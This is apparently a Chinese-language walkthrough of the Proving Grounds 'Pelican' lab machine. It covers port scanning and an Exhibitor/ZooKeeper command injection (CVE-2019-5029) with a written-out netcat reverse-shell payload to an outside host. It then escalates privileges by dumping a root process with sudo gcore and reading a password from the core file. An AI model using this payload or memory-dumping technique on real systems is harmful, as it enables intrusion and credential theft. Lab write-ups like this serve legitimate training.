Proving Grounds Practice : Pelican Walkthrough
Proving Grounds Practice : Pelican Walkthrough
Foothole (立足點 ) :
- 8080 發現 ZooKeeper 使用編輯套件 Exhibitor 來當作 Web UI
- 查找 Exploit-DB 後依據 POC 實作成功獲取 Reverse Shell
PE ( 提權 ) :
- sudo -l 可以執行 gcore
- /etc/crontab 有看到 root 固定執行一個 job
- 參考文章將 Process 使用 gcore 轉成檔案後用 strings 去讀取獲得 root 密碼
- 切換 root 成功提權
Rustscan,└─$ rustscan -a 192.168.103.98 --scripts none --ulimit 5000 | tee rustscan
snmp check,└─$ sudo nmap -sU -p 161 192.168.103.98 | tee snmp
nmap,└─$ sudo nmap -sCV -A -p 22,139,445,631,2181,2222,8081,8080,39605 192.168.103.98 | tee nmap
631/tcp open ipp CUPS 2.2
2181/tcp open zookeeper Zookeeper 3.4.6-1569965 (Built on 02/20/2014)
8081/tcp open http nginx 1.14.2
檢查 631 Port CUPS 2.2 沒有結果
檢查 2181 Port zookeeper 服務只有一個 Dos
8080 /
8080 /robots.txt
8081 / 直接轉 8080 http://192.168.103.98:8080/exhibitor/v1/ui/index.html
Client Port 2181
搜尋 ZooKeeper Exploit 沒有結果,最後發現是網址藏了貓膩
網址 : http://192.168.103.98:8080/exhibitor/v1/ui/index.html
貓膩是這個字眼 : exhibitor
搜尋該字眼後看到一個 RCE 48654
Exploit 有說 Exhibitor 是 Zookeeper 的一個監督程序
預設跑在 8080 Port,跟靶機一樣
然後在 Config 頁籤可以直接塞入指令例如 $(/bin/nc -e /bin/sh 10.0.0.64 4444 &)
看來是這個
開啟編輯寫入 command
commit 然後寫入,Exploit 寫點選 All at Once
叫你等幾分鐘後去執行
點選 OK 後寫入
4444 Reverse Shell 進來了,獲取第一階段 flag
補充說明 :
用 curl 也是可以的
也有現成的 exploit.sh,參考 : GitHub - thehunt1s0n/Exihibitor-RCE: Exihibitor Web Ui 1.7.1 RCE, CVE-2019-5029
使用範例 : └─$ ./exploit.sh 192.168.103.98 8080 192.168.45.179 4444
sudo -l 可以執行 /usr/bin/gcore
cat /etc/crontab
有兩個,第一個是執行 /usr/bin/password-store
參考這一篇 : Getting passwords of logged in users | Sentnl
專門在講用 gcore 獲取他人的使用者密碼
上述的描述是 Andre 有連線 SSH,透過 ps -ef 去查看 SSH 的 PID
但靶機執行該指令後沒有任何登入的 SSH 連線
我們透過 /etc/crontab 得知 root 會去執行 /usr/bin/password-store
所以我們要查看的 process 是跟上述指令有關的
改使用 ps -ef | grep password-store,可以看到 PID 是 513
接著因為我們可以直接使用 gcore
那就下 Sudo /usr/bin/gcore 513
有看到 Saved corefile core.513
使用 strings 看一下 core.513 的內容
發現疑似 root 的密碼 ClogKingpinInning731
su root 輸入密碼成功切換為 root,獲取 proof.txt
留言
張貼留言